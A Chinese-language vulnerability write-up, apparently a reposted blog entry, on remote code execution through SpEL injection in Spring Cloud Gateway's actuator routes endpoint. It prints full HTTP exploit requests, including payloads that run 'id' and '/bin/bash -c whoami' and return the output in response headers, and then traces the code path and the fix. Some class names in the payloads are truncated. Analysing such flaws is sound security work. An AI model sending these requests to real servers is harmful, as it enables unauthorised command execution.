2023年7月4日发(作者:)
SpringCloudGatewayactuator组建对外暴露RCE问题漏洞分析 Spring Cloud gateway是什么?Spring Cloud Gateway是Spring Cloud官⽅推出的第⼆代⽹关框架,取代Zuul⽹关。⽹关作为流量的,在微服务系统中有着⾮常作⽤,⽹关常见的功能有路由转发、权限校验、限流控制等作⽤ 漏洞描述: 当启⽤、暴露和不安全的 Gateway Actuator 端点时,使⽤ Spring Cloud Gateway 的应⽤程序容易受到代码注⼊攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进⾏任意远程执⾏。
漏洞复测:
POST /actuator/gateway/routes/test1 HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: 127.0.0.1:8889/actuator/Content-Type:application/jsonContent-Length: 184{"id":"test1","filters":[ { "name":"RewritePath", "args":{ "test":"#{T(e).getRuntime().exec("open /System/Applications/")}" } }]}
刷新触发请求:
POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: 127.0.0.1:8889/actuator/Content-Type:application/json
直接触发rce:
从0开始漏洞分析: 受影响的版本锁定:Spring Cloud Gateway3.1.03.0.0 to 3.0.6Older, unsupported versions are also affected
直接去github查看: 看diff,对⽐: 全局搜索.java等关键字: 关键代码位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/
通过代码,很容易看出来,这是spel注⼊,符合前⾯漏洞预警说的代码注⼊:
现在sink找到了,就差source,看情况是这样⼦的 除了这样找sink,还可以通过commit查看,⽆需对⽐,⼀样是关键字搜索:
看到spel,盲猜spel注⼊,跟进去看看:
好了,下⾯开始第⼆步分析,从下往上找,⽬前已基础判断出sink为spel注⼊,从下往上⾛:漏洞环境搭建好了,所以我直接去idea⾥⾯打开路径:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ea⾥⾯对应的路径:springframework/cloud/spring-cloud-gateway-server/3.1.0/!/org/springframework/cloud/gateway/support/:可通过Structure查看结构体:在这⾥调度出来:
这⾥直接在sink⽂件断⼀⼑: 42⾏
重启服务打exp:
断下来了,拿到利⽤链: getValue:58, ShortcutConfigurable (t)normalize:94, ShortcutConfigurable$ShortcutType$1 (t)normalizeProperties:140, ConfigurationService$ConfigurableBuilder (t)bind:241, ConfigurationService$AbstractBuilder (t)loadGatewayFilters:144, RouteDefinitionRouteLocator ()getFilters:176, RouteDefinitionRouteLocator ()convertToRoute:117, RouteDefinitionRouteLocator ()apply:-1, 872736196 (efinitionRouteLocator$$Lambda$769)onNext:106, FluxMap$MapSubscriber (her)tryEmitScalar:488, FluxFlatMap$FlatMapMain (her)onNext:421, FluxFlatMap$FlatMapMain (her)drain:432, FluxMergeSequential$MergeSequentialMain (her)innerComplete:328, FluxMergeSequential$MergeSequentialMain (her)onSubscribe:552, FluxMergeSequential$MergeSequentialInner (her)subscribe:165, FluxIterable (her)subscribe:87, FluxIterable (her)subscribe:8469, Flux (her)onNext:237, FluxMergeSequential$MergeSequentialMain (her)slowPath:272, FluxIterable$IterableSubscription (her)request:230, FluxIterable$IterableSubscription (her)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (her)subscribe:165, FluxIterable (her)subscribe:87, FluxIterable (her)subscribe:8469, Flux (her)onNext:237, FluxMergeSequential$MergeSequentialMain (her)slowPath:272, FluxIterable$IterableSubscription (her)request:230, FluxIterable$IterableSubscription (her)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (her)subscribe:165, FluxIterable (her)subscribe:87, FluxIterable (her)subscribe:4400, Mono (her)subscribeWith:4515, Mono (her)subscribe:4371, Mono (her)subscribe:4307, Mono (her)subscribe:4279, Mono (her)onApplicationEvent:81, CachingRouteLocator ()onApplicationEvent:40, CachingRouteLocator ()doInvokeListener:176, SimpleApplicationEventMulticaster ()invokeListener:169, SimpleApplicationEventMulticaster ()multicastEvent:143, SimpleApplicationEventMulticaster ()publishEvent:421, AbstractApplicationContext (t)publishEvent:378, AbstractApplicationContext (t)refresh:96, AbstractGatewayControllerEndpoint (e)invoke0:-1, NativeMethodAccessorImpl (t)invoke:62, NativeMethodAccessorImpl (t)invoke:43, DelegatingMethodAccessorImpl (t)invoke:498, Method (t)lambda$invoke$0:144, InvocableHandlerMethod ()apply:-1, 290554969 (bleHandlerMethod$$Lambda$861)trySubscribeScalarMap:152, FluxFlatMap (her)subscribeOrReturn:53, MonoFlatMap (her)subscribe:57, InternalMonoOperator (her)subscribe:52, MonoDefer (her)subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (her)onComplete:203, MonoIgnoreThen$ThenIgnoreMain (her)onComplete:181, MonoFlatMap$FlatMapMain (her)complete:137, Operators (her)subscribe:120, MonoZip (her)subscribe:4400, Mono (her)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (her)subscribe:51, MonoIgnoreThen (her)subscribe:64, InternalMonoOperator (her)onNext:157, MonoFlatMap$FlatMapMain (her)onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (her)onNext:82, MonoNext$NextSubscriber (her)innerNext:282, FluxConcatMap$ConcatMapImmediate (her)onNext:863, FluxConcatMap$ConcatMapInner (her)onNext:127, FluxMapFuseable$MapFuseableSubscriber (her)onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (her)request:2398, Operators$ScalarSubscription (her)request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (her)request:169, FluxMapFuseable$MapFuseableSubscriber (her)set:2194, Operators$MultiSubscriptionSubscriber (her)onSubscribe:2068, Operators$MultiSubscriptionSubscriber (her)onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (her)onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (her)subscribe:55, MonoJust (her)subscribe:4400, Mono (her)drain:451, FluxConcatMap$ConcatMapImmediate (her)onSubscribe:219, FluxConcatMap$ConcatMapImmediate (her)subscribe:165, FluxIterable (her)subscribe:87, FluxIterable (her)subscribe:64, InternalMonoOperator (her)subscribe:52, MonoDefer (her)subscribe:64, InternalMonoOperator (her)subscribe:52, MonoDefer (her)subscribe:64, InternalMonoOperator (her)subscribe:52, MonoDefer (her)subscribe:64, InternalMonoOperator (her)subscribe:52, MonoDefer (her)subscribe:4400, Mono (her)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (her)subscribe:51, MonoIgnoreThen (her)subscribe:64, InternalMonoOperator (her)subscribe:55, MonoDeferContextual (her)onStateChange:967, HttpServer$HttpServerHandle ()onStateChange:677, ReactorNetty$CompositeConnectionObserver ()onStateChange:478, ServerTransport$ChildObserver (ort)onInboundNext:570, HttpServerOperations ()channelRead:93, ChannelOperationsHandler (l)invokeChannelRead:379, AbstractChannelHandlerContext (l)invokeChannelRead:365, AbstractChannelHandlerContext (l)fireChannelRead:357, AbstractChannelHandlerContext (l)channelRead:220, HttpTrafficHandler ()invokeChannelRead:379, AbstractChannelHandlerContext (l)invokeChannelRead:365, AbstractChannelHandlerContext (l)fireChannelRead:357, AbstractChannelHandlerContext (l)fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (l)fireChannelRead:327, ByteToMessageDecoder ()channelRead:299, ByteToMessageDecoder ()channelRead:251, CombinedChannelDuplexHandler (l)invokeChannelRead:379, AbstractChannelHandlerContext (l)invokeChannelRead:365, AbstractChannelHandlerContext (l)fireChannelRead:357, AbstractChannelHandlerContext (l)channelRead:1410, DefaultChannelPipeline$HeadContext (l)invokeChannelRead:379, AbstractChannelHandlerContext (l)invokeChannelRead:365, AbstractChannelHandlerContext (l)fireChannelRead:919, DefaultChannelPipeline (l)read:166, AbstractNioByteChannel$NioByteUnsafe ()processSelectedKey:722, NioEventLoop ()processSelectedKeysOptimized:658, NioEventLoop ()processSelectedKeys:584, NioEventLoop ()run:496, NioEventLoop ()run:986, SingleThreadEventExecutor$4 (rent)run:74, ThreadExecutorMap$2 (al)run:30, FastThreadLocalRunnable (rent)run:748, Thread ()
最上层是触发sink结束了往下看⼏层:调度了T枚举重写的normalize⽅法:这是⽅法,下⼀层就是调⽤了:org/springframework/cloud/spring-cloud-gateway-server/3.1.0/!/org/springframework/cloud/gateway/support/rotected Map
查看属性value:
其中的key和value就是我们的fiter⾥⾯的属性内容:
再往下看⼀层:name为我们⾃定义的RewritePath
结论:引⽤y4er⼤佬的话:这个normalizeProperties()是对filter的属性进⾏解析,会将filter的配置属性传⼊normalize中,最后 进⼊getValue执⾏SPEL表达式造成SPEL表达式注⼊。现在是有exp,所以分析出来的,漏洞原理也了解了!但是还是有些点没理解清楚,需要我们刨根问底:
⼀些疑惑点:(1)参数传递为什么是这样的?(2)name设置为RewritePath,为什么要这样设置?
漏洞原理正向分析: 真的想彻底理解漏洞,更需要⽤户贴近业务:查看官⽅⽂档介绍说明:关键点在这⾥,官⽅⽂档说明可以使⽤这个接⼝去创建和删除特定路由:
那说明我们的spring cloud下是存在/routes/这个⽬录的,以开发经验来看,⼀般路径申明都在controller层,简单搜索下利⽤堆栈下的关键字:
refresh:96, AbstractGatewayControllerEndpoint (e)
去这个函数去看看完全⼀致:/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/!/org/springframework/cloud/gateway/actuate/
这个就是我们的source,现在⼜回到了⽼问题,这个source是怎么触发到sink的?因为代码量不是很⼤,直接拿出来分析:@PostMapping({"/routes/{id}"}) public Mono
先看可控点:@PathVariable String id, @RequestBody RouteDefinition route
路径就是⾃定义的id,这个不⽤管,跟进RouteDefinition类:/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/!/org/springframework/cloud/gateway/route/
可以这⾥⾯定义了好⼏个集合,有List的,也有Map的随便找个继续跟集合的返回类,发现套娃好⼏层呢:/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/!/org/springframework/cloud/gateway/filter/
这就是⾛到底的了,会发现他是name+agrs集合这样就对上了:
现在要分析的是RewritePath哪⾥来的:继续回到代码:return (route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return ((routeDefinition).map((r) -> {
发现我们可控的变量进⼊了这个函数了,⽐较重要的就是flatMap了,这玩意和map类似,不同的是其每个元素转换得到的是Stream对象,会把⼦Stream中的元素压缩到⽗集合中,⼈话就是后⾯的是压缩的⼦元素,前⾯的返回的是压缩后的⽗元素跟进this::validateRouteDefinition:
在这个⽅法下下个断点:/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/!/org/springframework/cloud/gateway/actuate/
anyMatch:判断的条件⾥,任意⼀个元素成功,返回trueallMatch:判断条件⾥的元素,所有的都是,返回truenoneMatch:与allMatch相反,判断条件⾥的元素,所有的都不是,返回true看着难看,利⽤Evuluate循环打印:for(int i=0;i<();i++){ n((i).name());}
就是这些:AddRequestHeaderMapRequestHeaderAddRequestParameterAddResponseHeaderModifyRequestBodyDedupeResponseHeaderModifyResponseBodyCacheRequestBodyPrefixPathPreserveHostHeaderRedirectToRemoveRequestHeaderRemoveRequestParameterRemoveResponseHeaderRewritePathRetrySetPathSecureHeadersSetRequestHeaderSetRequestHostHeaderSetResponseHeaderRewriteResponseHeaderRewriteLocationResponseHeaderSetStatusSaveSessionStripPrefixRequestHeaderToRequestUriRequestSizeRequestHeaderSize
可以看到我们的RewritePath就在其中 修复⽅案: 修改为StandardEvaluationContext为SimpleEvaluationContextspel注⼊类常见的有两种:StandardEvaluationContext 更加灵活 SimpleEvaluationContext 安全的,有限制的
不出⽹的话,我们上⾯的⽅法就不是很好使,需要调试出回显⽅法?⽹上出了好多回显⽰案例,找⼀个复测下:spring cloud回显测试:
POST /actuator/gateway/routes/greetdawn HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enContent-Type: application/jsonConnection: closeContent-Length: 332{ "id": "greetdawn", "filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new (T(Utils).copyToByteArray(T(e).getRuntime().exec(new String[]{"id"}).getInputStream()))}"} }],"uri": "","order": 0}}
刷新:
访问创建的路由地址:GET /actuator/gateway/routes/greetdawn HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enConnection: close
spring cloud gateway 回显原理分析: /org/springframework/cloud/spring-cloud-gateway-server/3.1.0/!/org/springframework/cloud/gateway/filter/factory/
把配置内容,添加到了响应请求头 除了这个还有很多,找类似点,发现当name为:
任意⼀个,均可以回显
POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enContent-Type: application/jsonConnection: closeContent-Length: 293{ "id": "After", "filters": [{ "name": "SetRequestHeader", "args": {"name": "SetRequestHeader","value": "#{new r(new sBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"} }],"uri": "","order": 0}}
刷新:
访问:
漏洞批量检测:nuclei上看到有⼈提了相关检测⽅法:
技术参考:(1)y4er p师傅知识星球
发布者:admin,转转请注明出处:http://www.yc00.com/xiaochengxu/1688420885a135813.html
评论列表(0条)